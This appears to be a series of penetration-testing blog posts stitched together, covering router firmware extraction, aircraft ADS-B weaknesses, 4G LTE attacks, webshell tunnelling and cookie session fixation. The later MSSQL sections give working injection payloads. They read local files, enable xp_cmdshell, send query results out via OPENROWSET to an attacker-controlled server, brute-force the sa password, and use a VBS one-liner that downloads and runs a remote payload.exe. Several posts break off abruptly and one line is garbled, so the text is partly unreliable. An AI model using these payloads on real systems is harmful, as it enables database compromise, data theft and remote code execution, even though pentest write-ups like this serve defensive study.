This series will follow the process of reverse engineering router firmware with the purpose of discovering any vulnerabilities that could be used either remotely or locally to compromise the router. In this section I will mainly be covering how to extract/download the firmware alongside a very basic way to get a root shell on the firmware in this tutorial.
Firstly the firmware being analysed in this tutorial can be found here (for v8 of the TP-Link WR841N). In some cases, the firmware for your device of choice can be found by using your preferred search engine due to a lot of manufacturers making the firmware freely available for download, however due to the growing interest in the exploitation of embedded devices, it is becoming common practice to only have the firmware accessible by accessing the device physically i.e.. using a serial port or by manually dumping the flash memory.
General Linux RE Tools
file – To determine if it is a valid file/file type.
squashfs-tools – Can apt-get squashfs-tools for this. Bundle of tools to enable you to play with the squashfs in this tutorial
Generally the normal start to reverse engineering is to dump as much information on the file you can get using the standard Linux tools listed above. This should give enough information to determine where to go next for example in the hexdump you may find sqsh meaning that there is a squashfs on the file or perhaps spot U-Boot which is a well documented boot loader used frequently within firmware packages.
The file tool essentially just tells us whether or not the file is a known file type and in some cases what kind of file it is e.g. data file.
You should see something similar to this:
Which will confirm whether it is a readable/known file type or whether further investigation is needed. In this case we can see that it is (naturally) a data file.
The hexdump tool is invaluable as it allows you to inspect the dump for any key phrases or words that can tell you what kind of system you are reversing as previously mentioned. The hexdump for this file should look like this:
The command above will pipe the results of the hexdump into a file (hexTP.txt) for further analysis. The -C sets hexdump to format the dump in Canonical hex+ASCII display making it easier to read. In this case we don’t gain all that much from the hexdump other than the manufacturer being TP-Link (which we already know) so the next step would be to try running strings on the .bin file to see if it gives us a more informative result.
Strings is probably the most used and one of the best tools to start with as it displays all the printable data within the file. This can allow you to analyse the header of the file etc. Like we did with the hexdump, it is worthwhile piping the result of strings into a file for your own convenience to save having to re run strings every time you want to check something.
We find a few interesting phrases within the strings results:
This was done just by opening the strings result file we found and searching for common boot loader names of file system names e.g. U-boot. This could also be done by grepping the file should you prefer. Now we know that the embedded device is using the U-boot boot loader and the version meaning that we can look up the documentation for it to gain a better understanding of the how the embedded device is designed.
Binwalk is a valuable tool to have considering it will scrape the bin file for any firmware headers or file systems that it may contain and then show you the offset of each of these sections should you wish to dd them. The binwalk output should produce:
Which gives us a wealth of information relating to the firmwares structure, from the boot loader it is using to the file system type. From these results we know that the firmware runs a Linux system on MIPS architecture, with a Squashfs file system that has been compressed using LZMA. It also confirms that the boot loader is indeed U-Boot as found in the strings results.
Extracting the Filesystem
Now comes the interesting section where we get to extract the contents of the file system held in the firmware image. With it being a Linux system it is safe to assume that the file system should contain the standard linux default folders where we could find some sensitive information e.g. the passwd or shadow file.
One of the ways that a lot of people will extract the FS is by using dd. However for the sake of time and ease, there are two main ways I would recommend for extraction.
The first is to use the -e parameter of binwalk which will automatically extract everything from the firmware image for you.
user@host$ binwalk -e <input file>
The second, and more efficient way of extracting is to use the extract-firmware.sh script that can be found in the Firmware Modification Kit. The reason for this is due to the fact that should you wish to modify the firmware and repack it, you can use the other script build-firmware.sh to do so. It saves a lot of time than manually extracting and handles all the offsets etc for you. The extract script will create a new set of folders within the fmk directory whereby you can find all the contents of the file system, the path should be /fmk/rootfs.
In the next part I will show you how to emulate the router architecture so you can try and run files that you extracted from the file system as well as how to get a root shell on the router!
It is a known fact that all hackers like terminals but most (good) hackers also like efficiency and automating repetitive tasks. This is where SPARTA comes in.
SPARTA is a python GUI application which simplifies network infrastructure penetration testing by aiding the penetration tester in the scanning and enumeration phase. It allows the tester to save time by having point-and-click access to his toolkit and by displaying all tool output in a convenient way. If little time is spent setting up commands and tools, more time can be spent focusing on analysing results.
Have a look:
What are the goals?
- One of the most important goals of the project is the ability to fully customise what tools/commands you run from SPARTA. Every penetration tester has his/her own methods and toolkit and we do not want to change that. SPARTA tries to simplify the way you run tools and centralises their outputs, displaying them in a meaningful way.
- Automation of repetitive tasks is a must. You will always need to check for default credentials. You will always need to enumerate users. You always run certain tools when you find certain services. You can now perform these actions (on several hosts) in one click.
Any cool features?
- Nmap XML output importer
- Any tool that can be run from a terminal, can be run from SPARTA
- Default credentials check for most common services
- If any usernames/passwords are found by Hydra they are stored in internal wordlists which can then be used on other targets in the same network (breaking news: people reuse passwords)
- Ability to mark hosts that you have already worked on so that you don’t waste time looking at them again
- Screenshot taker so that you don’t waste time on less interesting web servers
What are the requirements?
- A Linux OS preferably Kali Linux as all the tools are already there
- A few extra python libraries
This project is very much a work in progress but hopefully the first release will be out in a few months. So stay tuned!
The disappearance of flight Malaysia Airlines MH370 has raised questions about why it is taking authorities so long to find out the aircraft’s location – with lots of people asking ‘why don’t they just use a GPS tracker to track it down?’ Currently, Air Traffic Control (ATC) uses a combination of radar detectors from the ground, and Aircraft Communications Addressing and Reporting System (ACARS), a system on board the aircraft similar to text messaging, which sends very limited data about a plane’s location every 15-30 minutes. A new GPS-based system which will provide much more detailed information is being rolled out in many countries, with the majority of commercial flights expected to be updated by 2020.
We wanted to break down exactly how secure the navigation systems are on board commercial flights and do they pose a threat to security? Could someone hack into them and cause a catastrophic breach of security, and exactly how easy is it for a criminal to target a commercial plane in such an attack?
First, let’s take a closer look at how a plane’s existing communication system works. Pilots in control of a plane need to be able to easily communicate both with the nearest Air Traffic Control (ATC), and with other nearby aircraft. ATC collects information via two radars – the first radar sends a signal over a voice channel, which bounces off the body of the plane and comes back to ATC. This does not require the plane to respond back – the radar just detects that there is an object in the sky and the plane’s bearing and distance can be calculated by ATC. They also use an SSR (Secondary Surveillance Radar) which not only locates the plane with a radar, but also queries additional information which is received by the plane’s transponder, an electronic device that produces an automatic response when it receives a radio-frequency interrogation. The plane automatically replies with a transponder code identifying the airline, flight, and altitude.
The new, more advanced GPS-based technology called Automatic Dependent Surveillance-Broadcast (ADS-B) allows automatic communication between a plane, other planes in the nearby vicinity and ATC. It is planned to completely replace traditional radar-based surveillance by the end of 2020, not only in the USA but all over the world. The technology consists of two different services: ADS-B Out and ADS-B In.
ADS-B Out broadcasts accurate information every second about the aircraft ID, altitude, velocity and position to ATC and, in general to any other passing aircraft.
ADS-B In allows the aircraft to automatically receive data from outside – for example from ATC and other nearby planes. The TCAS (Traffic Collision Avoidance System), which stops planes from colliding, works in co-operation with ADS-B In.
Could the manipulation of ADS-B allow an attacker to change the normal behavior of a plane during the flight? Let’s check out the security of these protocols and why they could cause a problem in-flight:
Clear-text communication means anyone can eavesdrop
Clear text is way of sending data with no encryption. Therefore, eavesdropping of data is an issue. Information broadcast by ADS-B is transmitted in clear-text, which means that anyone could easily use it to locate the plane, identify the aircraft ID and its position and altitude.
Lack of authentication means anyone can impersonate ATC or a passing plane
In most IT systems, when two parties exchange information, at least one will need to authenticate itself i.e. prove they are who they say they are. Most commonly, a username and password is used, but there are other ways, such as key authentication. In some cases such as this one, two-way authentication should be required to ensure that an attacker cannot impersonate any of the parties.
ADS-B does not implement any kind of authentication, and therefore an attacker impersonating another aircraft or ATC would be able to send data to the cockpit and there would be no security mechanism to identify whether the source is legitimate.
Signal jamming could cause a pilot to miss important information
Another potential threat is signal jamming. As the protocol doesn’t require any authentication, an attacker could potentially inject a large amount of data, which could cause disruption or loss of availability of the authentic information from ATC or a passing plane. It could cause the pilot to miss important information.
Lack of integrity validation means an attacker could re-send old messages from ATC
In strong protocols, there are mechanisms in place to detect a loss of integrity or data being manipulated in transit.
The ADS-B In service does not verify the integrity of the data it receives into the plane, which, even if it originated from an authentic source could have been changed or manipulated by an attacker. Similarly, authentic data from ATC or a passing plane could be resent again in future by an attacker. This means that an attacker could fairly easily impersonate ATC by reusing old messages. Moreover, ADS-B does not require any further verification between receiving the data to the plane’s system and sending it to the cockpit – a change upon receipt of the data would not be detected.
GPS jamming and spoofing could make the pilot think the plane is located elsewhere
ADS-B uses a GPS signal for navigation. GPS jamming is not a new technique and it may be possible for an attacker to block the ability of the aircraft to use GPS. Additionally, there has been considerable research on GPS spoofing in which it would be possible to manipulate GPS signals to send fake location coordinates to the GPS receiver. As in the previous attacks, the pilot would be unable to identify whether the GPS reader is reporting accurate information.
Lack of widely-used multilateration makes it easier to perform a successful cyber attack
Multilateration is a mechanism in planes that broadcasts a signal which is picked up by multiple triangulators on the ground. Based on the time difference between the receptions, it is possible to triangulate and identify the exact location of an aircraft. An attacker would find it extremely difficult to manipulate the output from this system as it uses the law of physics. In the case of a cyber attack it would send ATC reliable information about the plane’s true whereabouts. It is generally not used by default.
The attacks explained are not challenging for an attacker to implement. Either someone on board (or on the ground and in range of the aircraft) could potentially trick the pilot into reacting to fake signals such as inexistent passing traffic, fake flight divergence, bogus weather report etc – or stop the pilot from receiving legitimate communication from other planes or ATC without them realizing. The only equipment an attacker would need would be a laptop (or embedded device) and an antenna – and it would be possible for an attacker to do this from the ground, though the range of the attack can vary depending on what kind of hardware the attacker uses.
All the tools a malicious attacker would need can be bought cheaply. It is even possible to convert a TV tuner into an ADS-B receiver. As well as being cheap, the antennas are small, making it even easier to hide them and use discreetly.
In a nutshell, the current communication protocols in ADS-B when looked at in isolation are fundamentally insecure, and manipulation of the information received by an aircraft is relatively easy to do. However, the information above analyses the risks of this protocol used in isolation. Airlines may have additional security mechanisms in place that are designed to minimize the success of potential attacks .e.g processes, procedures, staff training.
As with any system, the data received by the p ADS-B becomes more widespread, manufactures will undoubtedly show due diligence by investing in stronger security mechanisms and ensuring that the risks of cyber-attacks are minimized. Until then, it is just possible that a cyber criminal could at the very least cause confusion for pilots and, in the worst case, divert a flight in mid-air or cause a collision.
4G is the fourth generation of mobile communication standards and it is very well underway to succeed the 3G technology and offer broadband performance, voice-video multimedia applications, significant increases in data rates and even better security(?).
The main difference about 4G wireless networks is that they operate entirely on TCP/IP architecture. Only packet-switched communication is supported for improved performance and all signaling and control network protocols are IP-based, thus, making the standard cost-effective and compatible across heterogeneous technologies.
The Architecture on a high-level:
The eNodeB (eNB) is the only network element in LTE with the task of establishing radio communication with the User Equipment (UE – a 4G capable mobile device) and respectively with the EPC (MME, S-GW) over the transport layer. eNodeBs can be considered the equivalent of an enhanced Base Station. An alternative to the eNodeB, the HeNB (Femtocell) functions as a low-power base station which is owned by the network provider and is designed to provide coverage and capacity solutions in indoors spaces.
The MME (Mobile Management Entity) is a key element of LTE as far as control operations are concerned. The MME unit, similarly to the VLR in 3G, is responsible for signaling, tracking the location of idle UEs, user authentication and the selection of the most optimal S-GW for the UE based on network topology and the location of the UE within the network.
The HSS (Home Subscriber Service) is a component of the UE’s home network and, very much like the Home location register (HLR) in 3G, works as a central database containing subscription-related information, service and mobility data. Moreover, it keeps track of the user’s current MME address and holds pre-shared key material used to generate session authentication data which serves authentication purposes. The authentication method in LTE is again a challenge-response protocol which is completed between the UE and the MME based on the information that the HSS has generated and provided.
The main responsibility of the S-GW is to relay data between the eNodeB and the PDN gateway. S-GW acts as a router. Among others, the serving gateway will handle the redirection of data flow to a new eNodeB in case of a handover.
The PDN communicates user data to and from external data networks (service operator’s wireline network, Internet) and as a result, operates very similarly to the GPRS support node (GGSN) in UMTS and GSM. In other words, it allows the UE to communicate with entities outside the service provider’s main IP network. The most important functions of this LTE component are as follow: IP allocation to the UE, maintaining connection the network while moving from one place to another, billing – charging support, Quality-of-service (QoS) functions, packet filtering.
The Policy and Charging Rule Function (PCRF) is a software node which is responsible for policy enforcement, as well as for controlling the flow-based charging functionalities which reside in the P-GW. The PCRF will provide QoS information to the PDN, determine charging policy for data packets and dynamically manage data sessions.
Many of the new features work as improvements compared to 4G’s predecessors and one can identify many advantages in terms of performance, speed and security (higher-strength encryption, IP based configuration as opposed to 3G radio, etc.)
However, the question remains; how well are we prepared for this new wave of technology, how ahead and to what extent have we planned for this?
One of the most important requirements of LTE is seamless mobility support across eNBs. Handovers are to be handled fast and transparently without causing any disruption to the communication flow.
When our UE currently associated with eNB1 moves closer to the coverage area of eNB2, the former sends coupling information to the latter. Then, eNB1 commands the UE to change the radio bearer to eNB2 and for that purpose forwards the handover command which contains connection specific information (C-RNTI, RACH Random Access Channel preamble, expiry date). The handover is complete after the UE forwards the identifier C-RNTI to the new eNB (like an ACK/confirmation message) and the eNB2 notifies the MME of the handover.
The UE sends this temporary identifier (C-RNTI) optionally in cleartext making it possible for a passive attacker to determine whether the UE has moved to a different cell. Having said that, an attacker is able to link the new and the old C-RNTIs and eventually track the UE over different cells.
When a femtocell provides better signal over a regular tower it is preferred by nearby UE devices. The problem is that connection to a femtocell can be transparent, meaning that a user does not often know he is connected to one, therefore, enabling an attacker who controls a tampered device to intercept user data in transit. Latest demonstrations of compromised and enhanced in power femtocell units show that this concern is not unfounded at all, as an attacker suitably positioned in crowded, public spaces could potentially track the activities of all nearby 4G devices.
The 4g LTE network is an all-IP network with millions of very diverse components. Additionally, its development is coupled with a necessity for moving from the older, proprietary operating systems for handheld devices to open, standardized ones. Since all these devices will be operating on the network layer they become dynamically susceptible to all the existing attack techniques and methods present on the Internet (or any other IP based network) today. For instance, downloading malicious content can now affect the network on a larger scale and to a greater extent. This might signify a shift of security concerns towards the end user’s technology (smartphones, laptops, dongles etc.) rather than the network protocols in place.
It is also very likely that new issues will arise or become more common due to the untried nature of the 4G standard. For example, instances of attacks associated with VoIP (DoS, SPIT spam over Internet Telephony, Voice Service Theft, Registration Hijacking) are likely to increase exponentially due to the immense expansion of the attack surface. Finally, an availability concern is how the newly introduced encryption schemes will affect the performance of this IP-based infrastructure.
Other 4G related attacks can be found in academic literature:
- Scrambling – Interference attacks
- Denial of Service – Bandwidth stealing attacks
Finally, we need to keep in mind that as 4G LTE is not backwards compatible with 3G and, therefore, there is no fallback position in this case. Consequently, it becomes clear that security is of paramount importance to its success.
This blog post explains the process that we followed in a recent penetration test to gain command execution from a CVS import feature. One of the most challenging issues was that we had to escape commas during the SQL injection attack, as it would break the CVS structure.
Application imports entries from file (CVS, Excel, etc) to the database
Typically the parsers used for this importation read every entry “as is” in the file.
In the case of CVS, documents entries are separated by a delimiter character (typically comma).
More often than not entries read from files do not go through the same sanitisation and validation functions as web application requests.
Conversion failed when converting the nvarchar value ‘Microsoft SQL Server 2008 R2 (RTM) – 10.50.1617.0 (Intel X86) Apr 22 2011 11:57:00 Copyright (c) Microsoft Corporation Express Edition with Advanced Services on Windows NT 6.1 <X86> (Build 7601: Service Pack 1) ‘ to data type int.
This is definitely working! – celebrations continue …
Only SQL errors were returned to the user. If the statement had no errors it just displayed importation failed/completed.
Moreover the importation was a two step process – not easily automated with sqlmap and time was running out.
I’ll spare you the rest of the details of this step - Info gathered: database version and database user (dbo)
Escalation – Reading local files:
In MSSQL the file must be imported into a table and read from there.
* Alternatively OPENROWSET can be used instead of BULK INSERT.
- File Sent:
- Copy the contents into our table:
1,SEC,FORCE,,,firstname.lastname@example.org,1‘;drop table SecforceTBL;CREATE TABLE SecforceTBL (line varchar(MAX));BULK INSERT SecforceTBL FROM ‘c:\windows\win.ini’ WITH (ROWTERMINATOR = ‘\ 0′);– ,
- Reading the contents back:
1,SEC,FORCE,,,email@example.com,1′+char((SELECT TOP 1 * FROM SecforceTBL))+’1 ,
ROWTERMINATOR is EOF (backslash 0) because life is too short to read a file line by line. The first CVS entry (SQL query) imports the whole file in one line. The second entry triggered the error and returned the result
This worked for most files but then disaster! - … celebrated too soon!
The file was there but I couldn’t read it
“String or binary data would be truncated.”
* This was not because the row couldn’t hold the data (could be the case) but the SQL error string cannot be bigger than 4000 chars!
There is a workaround to this eventuality. It’s certainly not pretty, but it worked:
write output to file – read specific lines with powershell and write them to another file, then import it to the database:
Or make a new table (SecforceTBL2) insert only 4000 chars into previous table (SecforceTBL) and trigger error as before – needs to use the comma bypass as above:
INSERT INTO SecforceTBL VALUES (SUBSTRING((select top 1 * from SecforceTBL),0,4000))
Escalation – Command execution through xp_cmdshell:
First of all, we verify whether xp_cmdshell is enabled.
[..]1′+char(( SELECT cast(value as varchar(1)) FROM sys.configurations WHERE name = ‘xp_cmdshell’))+’1 [..]1′+char(( SELECT cast(value_in_use as varchar(1)) FROM sys.configurations WHERE name = ‘xp_cmdshell’ ))+’1
In this case, xp_cmdshell was not enabled, so we had to enable it.
* Also try ‘show advanced options’ etc.
The application connected to the database as dbo, therefore we should be able to enable it – easy!
Well not so fast… The comma in the SQL code shown above would naturally break the CVS parser. In order to escape the comma character, we need to declare a variable that will hold the SQL query string and execute with master..sp_executesql:
A couple of months ago SECFORCE was set to create the ultimate webshell. The idea behind it was to include all the tools a pentester needs in one webshell and make our lifes easier by for example dropping a meterpreter shell on the remote webserver with as less user interaction as possible.
Soon it was apparent that it would be much “cooler” for the webshell to communicate with a meterpreter shell without the need for meterpreter to expose or bind an external port. The benefits of it are obvious – this would effectively bypass any firewall rules in place.
It was realised that this could be a nice tool on its own so the project was forked and development started. Some time later a set of webshells and the client proxies were created. The task was not as easy as it seems, mostly because it is hard to keep it simple and at the same time make the same code work across different languages. Still there are some “programming language” quirks that could not be bypassed or made transparent to the end user. Given the different technologies in play (web servers / web languages / client languages) and all the possible combinations it would be very hard to tackle some of the issues and make it seamless to the end user without loosing some of the tools flexibility. Having said that, Java proved to be the most problematic language of the whole bunch – this needs to be said. Java was eating bytes in large packets – reasons for this are still not obvious – making both debugging and optimisation a pain. Apart from that, the PHP webshell also works in a somehow different way where it stalls a thread on the remote server to keep the connection alive. However, the latter is seamless to the user.
Tunna Framework - Penetration Testing
What Tunna does is to open a TCP connection (socket) between the webserver (webshell) and a socket on the local machine (webserver). It is also possible to open a connection to any other machine but lets keep this example simple. The client also opens a local socket and starts listening for connections. When a connection is established on the local client any communication would be sent over to the webshell in an HTTP request. The webshell will extract the data and put write them its local socket (remote socket for the client). Now the problem with HTTP is that you cannot really have asynchronous responses. The easiest way to tackle this issue was to keep querying the webshell for data. This creates a lag but it is nothing a pentester cannot live with – at this point it must be noted once more that this is a tool “to get a remote meterpreter shell if the firewall is blocking external connections” and not for critical/real-time applications.
After that, we went back to the original idea and created the metasploit module. It is still under development and should be used with extreme caution. It is still recommended to upload a meterpreter shell and use Tunna main module to connect to it. The metasploit module can be summarised as a “half rewrite of the existing code to work with or around metasploit API” (mostly around). This means that “code hacks” were created as needed to make it work. To be architecturally correct with metasploit, the original idea was to create a new metasploit “handler” … however, this proved to be harder than expected and what you get is a bastardisation of handler-exploit … but it works.
Lastly, any comments, bugs or improvement ideas are welcome.
Many penetration testers rely on unicornscan’s speed to perform UDP portscans. Sometimes, a first pass is made with unicornscan to detect open UDP ports and then a second pass is made with nmap on those ports to find additional information about the service.
In a recent penetration test we came across an interesting situation where nmap could detect an SNMP service running on the target but unicornscan missed it.
To understand what was happening we wiresharked both scans and compared the packets sent by both scanners.
On the left we see the packet sent by unicornscan and on the right the one sent by nmap.
What had happened was that the service running was SNMPv3 and while nmap was sending an SNMPv3 get-request, unicornscan was sending an SNMPv1 get-request which was’t understood/supported by the remote service.
Fortunately, unicornscan is a flexible tool which allows the creation of custom payloads. Creating a payload is as simple as adding the new payload to the configuration file (payloads.conf). By inspecting this file we saw that, as expected, there was an SNMPv1 payload which corresponded exactly to the bytes we saw in wireshark (see selected bytes).
Following this logic, all we had to do was create a payload from the bytes selected in the second capture file. Thus, the new payload looks like this:
Session fixation is an issue whereby an attacker is able to set a session token for a victim, and therefore being able to hijack the victim’s session. HTTP pollution of a fixated cookie could potentially have devastating consequences.
A general recommendation and one (of many) ways to protect applications against this type of attacks is to delete the cookie before login to the application and issue a new cookie with a random session token upon successful authentication. However, it often introduces a new issue as cookies with different flags are normally treated as different ones..
First lets have a look at an important part of the RFC for HTTP State Management Mechanism (Cookies):
“Although cookies are serialized linearly in the Cookie header, servers SHOULD NOT rely upon the serialization order. Â In particular, if the Cookie header contains two cookies with the same name (e.g., that were set with different Path or Domain attributes), servers SHOULD NOT rely upon the order in which these cookies appear in the header. ” (http://tools.ietf.org/html/rfc6265)
Understandably this is part of the as-designed functionality of cookies.
Well, probably it is still not clear where is the vulnerability.
Let’s explain further:
One would assume that, if a cookie is set with the same name with another cookie, the one set now would overwrite the latter.
The same for deletion, update etc. However, this relies on the browser’s cookie handling as per the above quote and not on the server.
In general the server/application should never assume anything that it is not directly controlled by it.
The problem is that cookies with different flags are considered different, although they might have the same name. This will make most, (if not all) browsers to store them and send them BOTH at every request.
Although which one is send before or after depends on the browser, the weather, the tides and the planetary movements. Therefore, the value received by the application is unpredictable.
So, where is the vulnerability you ask?
If you can’t see it yet you might want to have a look in HTTP parameter pollution.
Two variables with the same name are sent to the server, which one is the one that the server will get? Also what happens if one of them gets validated by the application and then, using a different mechanism (parser etc.) the other one is the one that queries the database?
Let’s consider this scenario:
The server deletes the (old) session cookie when the user tries to login to the application
Then issues a new cookie after successful login.
Additionally in many cases the server only accepts cookies issued by it.
An attacker now logins to the application and gets a legitimate cookie bound to his session.
Then he fixes this cookie in the victims browser.Â (He also makes sure to change the cookie flags)
Now the victim tries to login to the application.
The attackers (fixed) cookie is sent to the server and the server responds back with a “expire cookie” to delete the old cookie. If this response does not have the same name AND the same flags as the fixed cookie, the browser might not actually delete it
The victim successfully authenticates to the application and a new session cookie is sent
Obviously all of the above will not lead to a session fixation -Â This heavily depends on how the application binds the session to the cookie and mostly on what it expects!
However, this kind of issue is not uncommon. In this case, the browser in every request will send both cookies.Â Which one would be read by the application is not certain and therefore this can lead to the application binding the attackers cookie to the victims session.
Then the attacker can use the session cookie to impersonate the victim to the application.
Going back to the RFC “servers SHOULD NOT rely upon the order in which these cookies appear in the header” add to that the general security term “Trust nothing” and you have a solution to the problem.
Addressing the issue:
Each application behaves differently and there is no easy way to make exact suggestions. Generic ones, on the other hand, led us here on the first place.
When a user authenticates and a new session is created, it is wise to destroy the previous session. Additionally, when designing and developing software, do not assume anything out of the applications control actually gets done.
Have no expectations! Do not expect that the received data will have the correct format/structure/form/etc.
Know your environment! Know how the application AND the server handle multiple parameters with the same name.
Be consistent in the way parameters are accesses and verified. Use the exact same mechanism to fetch parameters every time.
Validate all input to ensure it is in the expected and correct format.
If all of the requirements above are met then the following technique can be used:
On the local server create a new database with a table to store the results:
CREATE DATABASEÂ output_db;
CREATE TABLE output_db..output ( result VARCHAR(MAX) );
Lastly, open the ports and change the config for remotely connecting to the database.
On the remote server test for OPENROWSET Â and external connection:
; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
output_db.dbo.output)Â SELECT @@version–
This instructs the remote database server to connect to the local database and write the result of theÂ SELECT @@version command. If “SELECT * from output_db..output” returns any results then you are in luck otherwise continue using sqlmap…
Now we can change the “SELECT @@version” part to run any command we want and the results are going to get saved our database.
NOTE: Â OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command ans *similar* types to avoid any errors
After you create a new database make a copy of the local sysdatabases and empty it:
SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases;
Copy the Remote sysobjects over toÂ master_copy..sysdatabases;
; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
master_copy..sysdatabases;)Â SELECT * FROM master..sysdatabases;–
For every returned name create a new database and list tables
; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘, LOCAL_DB_NAME..tables;)Â SELECT name FROM REMOTE_DB_NAME..sysobjects WHERE xtype = ‘U’;–
For every returned table create a new table for to hold the column data
CREATE TABLEÂ LOCAL_DB_NAME..columns ( name VARCHAR(MAX), type VARCHAR(MAX) );
; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=localhost;uid=sa;pwd=sa’, LOCAL_DB_NAME.dbo.columns) SELECTÂ REMOTE_DB_NAME..syscolumns.name,
TYPE_NAME(REMOTE_DB_NAME..syscolumns.xtype) FROM REMOTE_DB_NAME..syscolumns,Â REMOTE_DB_NAME..sysobjects WHERE REMOTE_DB_NAME..syscolumns.id=REMOTE_DB_NAME..sysobjects.id AND REMOTE_DB_NAME..sysobjects.name=’sysobj’;
Now create a new table with the same columns and data types and copy using the same command as above
; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘, LOCAL_DB_NAME..TABLE Â SELECT * FROM REMOTE_DB_NAME..TABLE;–
Or create a new table with only theÂ columnsÂ you need and copy over only those
Bruteforcing the sa password for command execution is possible with double OPENROWSET. The first OPENROWSET is the connection back to our database, the second OPENROWSET instructs the remote DB to connect to itself as sa run “SELECT @@version” and return the result to us.
; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
SELECT * FROM OPENROWSET(‘SQLNCLI’,'server=localhost;uid=sa;pwd=PASSWORD‘,’SELECT @@version’)
Command execution with output of the results (if the sa password is known)
; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
SELECT * FROM OPENROWSET(‘SQLNCLI’,'server=localhost;uid=sa;pwd=PASSWORD‘,
‘set fmtonly off; exec master..xp_cmdshell ”dir” ; ‘)–
NOTE: because of the “fmtonly off” instruction the issued command is going to be run twice. This makes echo-ing to script files a bit harder.
A nice technique for running meterpreter is through powershell. SET framework will take care of everything … it’s only a matter of copying the command payload.
… or do it yourself. The following commands are for downloading a file from a web server, and running it.
If this doesn’t work, you can echo and run the one-liner vbs script below:
echo Set objXMLHTTP=CreateObject(“MSXML2.XMLHTTP”):objXMLHTTP.open
“GET”, “http://REMOTE_SERVER/payload.exe“, false:objXMLHTTP.send():
If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject(“ADODB.Stream”):
Set objFSO = Nothing:
Set objXMLHTTP=Nothing >Â C:\DESTINATION_FOLDER\script.vbs
Run the script:
cscriptÂ Â C:\DESTINATION_FOLDER\script.vbs
Run the payload:
$ chmod -x attack//Protecting the web server (for the non pen-testers)
What went wrong – Recommendations:
First off all, the SQL injection, (*obviously*) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and theÂ perimeterÂ wasÂ adequatelyÂ protected.
For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results.
Secondly, hash AND SALT all database passwords. Many reasons for that just accept the fact that this is how it must/should be done.
Lastly, make the sa password hard to guess and do not reuse passwords, specifically administrative passwords.
If all of the above were implemented, then the attack would take significantly more time and the attacker would get at most an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromisation of the host.
Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations.